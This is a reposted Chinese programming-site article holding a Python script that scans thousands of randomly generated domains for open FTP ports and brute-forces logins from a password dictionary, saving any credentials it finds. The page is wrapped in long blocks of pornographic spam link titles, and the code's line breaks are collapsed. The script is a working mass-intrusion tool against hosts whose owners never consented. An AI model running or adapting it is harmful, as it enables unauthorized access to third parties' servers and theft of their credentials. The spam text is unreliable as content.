亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

使用python掃描隨機生成的域名開放端口 ,并嘗試暴力破解FTP服務

2019-11-14 12:52:32
字體:
來源:轉載
供稿:網友

本代碼屬于使用python3.4版本  主要是交流  高手勿噴!!

#!/usr/bin/python# -*- coding: utf-8 -*- import nmap   # 需要使用nmap端口掃描工具的支持     這里不僅要安裝nmap的python包  還要安裝nmap的windows的應用程序    python包 直接使用pip安裝即可    至于nmap for windows 的版本如何安裝 請直接度娘  from socket import *import threading import sys,random,timeimport string,osimport configparser   ### 配置文件包"""端口掃描工具  并且判斷如果端口21打開 嘗試暴力破解FTP"""screenLock = threading.Semaphore(value=1)def bruteLogin(hostname, passwdFile):    """嘗試破解FTP"""    pF = open(passwdFile, 'r')    for line in pF.readlines():        time.sleep(1)        userName = line.split(' ')[0]        passWord = line.split(' ')[1].strip('/r').strip('/n')       # PRint ("[+] 嘗試攻擊:%s      "%hostname+userName+"/"+passWord)       # print("[-]主機:",hostname)##                try:            ftp = ftplib.FTP(hostname)            ftp.login(userName, passWord)            print( '/n[*] ' + str(hostname) +/          ' FTP 賬號和密碼是: '+userName+"/"+passWord)                         ftp.quit()            return (userName, passWord)        except Exception:            pass ##嘗試失敗 重試中                print( '/n[-]FTP %s攻擊失敗!.'%hostname)    return (None, None)    def nmapScan(tgtip,tgtPort,tgtHost):         nmScan = nmap.PortScanner()    try:        nmScan.scan(tgtip,tgtPort)                 state=nmScan[tgtip]['tcp'][int(tgtPort)]['state']    except :        return None    return state     def portScan(tgtHost, tgtPorts):       try:        tgtIP = gethostbyname(tgtHost)           except:                return     try:        tgtName = gethostbyaddr(tgtIP)   ## 這里是反向查詢ip地址對應的DNS 主機名     except :        tgtName  = None                       setdefaulttimeout(1)         scan = {}    for tgtPort in tgtPorts:          state = nmapScan(tgtIP,str(tgtPort),tgtHost)        if state =="open":  ### 發現開放端口 就在字典中寫入            if tgtHost not in scan :                scan[tgtHost] = []                                 scan[tgtHost].append(str(tgtPort))            else:                                 scan[tgtHost].append(str(tgtPort))                                         if len(scan)>0:  ## 從字典中導出   根據字典中的數據寫配置文件        config =configparser.ConfigParser()        config.add_section(tgtHost)        config.set(tgtHost,"IP",tgtIP)                 if tgtName!=None:            config.set(tgtHost,"主機名",tgtName[0])        else:            config.set(tgtHost,"主機名","未知")        print("當前線程數: %d    當前掃描主機%s開放的端口有:"%(threading.activeCount()-1,tgtHost),scan[tgtHost])        for x in scan[tgtHost]:            config.set(tgtHost,"端口%s  "%x,"  isopen")        cfgfile = open('IpConfig.ini','a')        config.write(cfgfile)        cfgfile.close()        if "21" in scan[tgtHost]:            print( '/n[+]FTP %s開始攻擊!.'%tgtIP)            passwdFile = 'userpass.txt'     ##設置ftp弱口令的用戶名和密碼字典    字典存放的規則是 用戶名加空格加密碼后換行  類似于: username password/n            res = bruteLogin(tgtIP, passwdFile)            if res[0]!=None:                ftp = open("ftp.txt","a")                ftp.write(tgtIP+"   :   userName = "+res[0]+"    password = "+res[1])                ftp.close()                                                                                                              def gethost(x):       lis = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','1','2','3','4','5','6','7','8','9','0']    s=''    s =  (s.join(random.sample(lis, x))).replace(" ","")             ss = [s+".cn",s+".cc",s+".com",s+".net",s+".pw",s+".wang",s+".vip",s+".tv",s+".org",s+".pub"]    return (s,ss)             def main():     driver = "D://Python34//nmap"    os.environ['PATH']=os.environ['PATH']+';'+driver    ho =[]    for x in range(12000):        while True:   ##這里是一個避免重復的排除方式            hos,Host =gethost(4)  ###這里是隨機域名             if hos not in ho:                ho.append(hos)                   break            else:                continue                                                    ##        21/tcp FTP 文件傳輸協議 ##        22/tcp SSH 安全登錄、文件傳送(SCP)和端口重定向 ##        23/tcp Telnet 不安全的文本傳送 ##        25/tcp SMTP Simple Mail Transfer Protocol (E-mail) ##        69/udp TFTP Trivial File Transfer Protocol ##        79/tcp finger Finger ##        80/tcp HTTP 超文本傳送協議 (WWW) ##        88/tcp Kerberos Authenticating agent ##        110/tcp POP3 Post Office Protocol (E-mail) ##        113/tcp ident old identification server system ##        119/tcp NNTP used for usenet newsgroups ##        220/tcp IMAP3 ##        443/tcp HTTPS used for securely transferring web pages##        3389/tcp windows服務器遠程桌面端口##        445/tcp 共享打印機端口##        139/tcp 被用于Windows"文件和打印機共享"和SAMBA         Port = [21,]  ##需要掃描的端口   這里 是掃描了ftp服務器 所以為了效率 全部只掃描21號端口        for x in Host:            t = threading.Thread(target=portScan,args=(x,Port))  ###開啟線程 掃描隨機的域名             t.start()        while True:            if threading.activeCount()-1>100:  ## 這里做了一個緩沖 限制了最大擁有100多個線程                time.sleep(1)            else:                break                            if __name__ == '__main__':    main()


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
欧美一区二区三区免费视| 日本久久久a级免费| 亚洲国产成人精品一区二区| 欧美日韩精品在线观看| 色综合久久悠悠| 中文字幕在线看视频国产欧美| 国产精品最新在线观看| 精品欧美激情精品一区| 97国产在线观看| 欧美视频在线视频| 国产精品久久久久福利| 91视频九色网站| 亚洲视频专区在线| 亚洲成人精品视频| 欧美成人在线免费| 亚洲天堂av在线免费观看| 色偷偷噜噜噜亚洲男人| 亚洲电影中文字幕| 91成人在线观看国产| 国产精品久久久久久久午夜| 欧美性猛交xxxx富婆弯腰| 久久久最新网址| 中文字幕亚洲自拍| 日韩性xxxx爱| 久久99青青精品免费观看| 在线亚洲午夜片av大片| 日本国产一区二区三区| 亚洲国产精品yw在线观看| 亚洲专区在线视频| 91久热免费在线视频| 亚洲香蕉成人av网站在线观看| 国产精品久久久久久久久久尿| 色香阁99久久精品久久久| 欧美日韩另类字幕中文| 久久成人精品视频| 国产日韩欧美夫妻视频在线观看| 国产不卡av在线| 久久久久久尹人网香蕉| 国产精品国产三级国产aⅴ9色| 日韩成人av网址| 欧美亚洲成人xxx| 欧美激情综合色综合啪啪五月| 狠狠躁夜夜躁人人躁婷婷91| 欧美成人网在线| 97精品国产97久久久久久| 国产精欧美一区二区三区| 国产精品视频播放| 久久综合久久八八| 久久久久久久久久久人体| 精品毛片三在线观看| 欧美一级高清免费播放| 亚洲a中文字幕| 亚洲成人激情在线| 97国产精品人人爽人人做| 永久555www成人免费| 日韩精品免费在线播放| 91色p视频在线| 久精品免费视频| 91视频九色网站| 国产精品免费久久久久影院| 亚洲精品电影网站| 亚洲女人天堂av| 精品亚洲一区二区三区| 亚洲一级一级97网| 欧美日韩视频在线| 欧美性极品xxxx做受| 丝袜情趣国产精品| 亚洲国产中文字幕在线观看| 亚洲天堂开心观看| 91在线观看免费高清完整版在线观看| 不用播放器成人网| 日韩精品www| 日韩欧美在线观看视频| 国产精品视频免费在线观看| 中文字幕久精品免费视频| 国产精品一区av| 日韩中文视频免费在线观看| 91精品91久久久久久| 中文字幕欧美日韩| 欧美另类极品videosbestfree| 中文字幕在线观看日韩| 在线精品国产成人综合| 中文字幕国产精品| 亚洲xxx大片| 日韩精品亚洲精品| 91在线观看免费网站| 亚洲欧美视频在线| 亚洲毛片一区二区| 国产精品美女www爽爽爽视频| 亚洲一区二区国产| 亚洲春色另类小说| www.日韩欧美| 国产精品视频成人| 中文国产成人精品久久一| 欧美精品久久久久久久免费观看| 日韩精品在线视频观看| 亚洲精品国精品久久99热一| 日韩一级黄色av| 国产主播精品在线| 国产精品久久久久久久久免费| 欧美高清videos高潮hd| 久久久久久91| 日韩av在线导航| 欧美成人亚洲成人| 成人444kkkk在线观看| 亚洲精品欧美日韩专区| 国产91九色视频| 国产成人综合精品| 亚洲成人国产精品| 欧美亚洲另类制服自拍| 亚洲a在线播放| 国产综合在线视频| 午夜精品久久久久久久男人的天堂| 97视频人免费观看| 日韩欧美国产中文字幕| 成人欧美在线视频| 欧美乱大交做爰xxxⅹ性3| 亚洲午夜女主播在线直播| 国产精品一区二区女厕厕| 亚洲国产日韩欧美在线动漫| 在线视频亚洲欧美| 精品亚洲一区二区三区在线观看| 26uuu另类亚洲欧美日本一| 欧美性猛交xxxx免费看漫画| 超碰日本道色综合久久综合| 91在线精品播放| 欧洲午夜精品久久久| 亚洲性猛交xxxxwww| 成人深夜直播免费观看| 欧美日韩一区二区在线播放| 欧美性xxxx极品高清hd直播| 国产+成+人+亚洲欧洲| 亚洲精美色品网站| 欧美另类极品videosbest最新版本| 97精品视频在线播放| 欧美怡红院视频一区二区三区| 国产小视频国产精品| 国产日本欧美一区二区三区在线| 久久久免费在线观看| 国产精品夜间视频香蕉| 日韩av毛片网| 国产欧美一区二区三区视频| 国产精品夜色7777狼人| 国产精品自拍偷拍| 久久久国产一区二区| 欧美性jizz18性欧美| 欧美日韩在线视频首页| 久久天天躁狠狠躁夜夜爽蜜月| 精品一区二区电影| 欧美性生交大片免费| 91久久国产综合久久91精品网站| 欧美乱大交xxxxx另类电影| 亚洲第一免费网站| 日韩成人av网址| 国产激情久久久久| 久久国产精彩视频| xxxxxxxxx欧美| 91久久精品美女高潮| 日韩av网站在线| 国产精品2018| 伊人久久精品视频| 亚洲片av在线| 国产精品视频99| 精品国偷自产在线视频|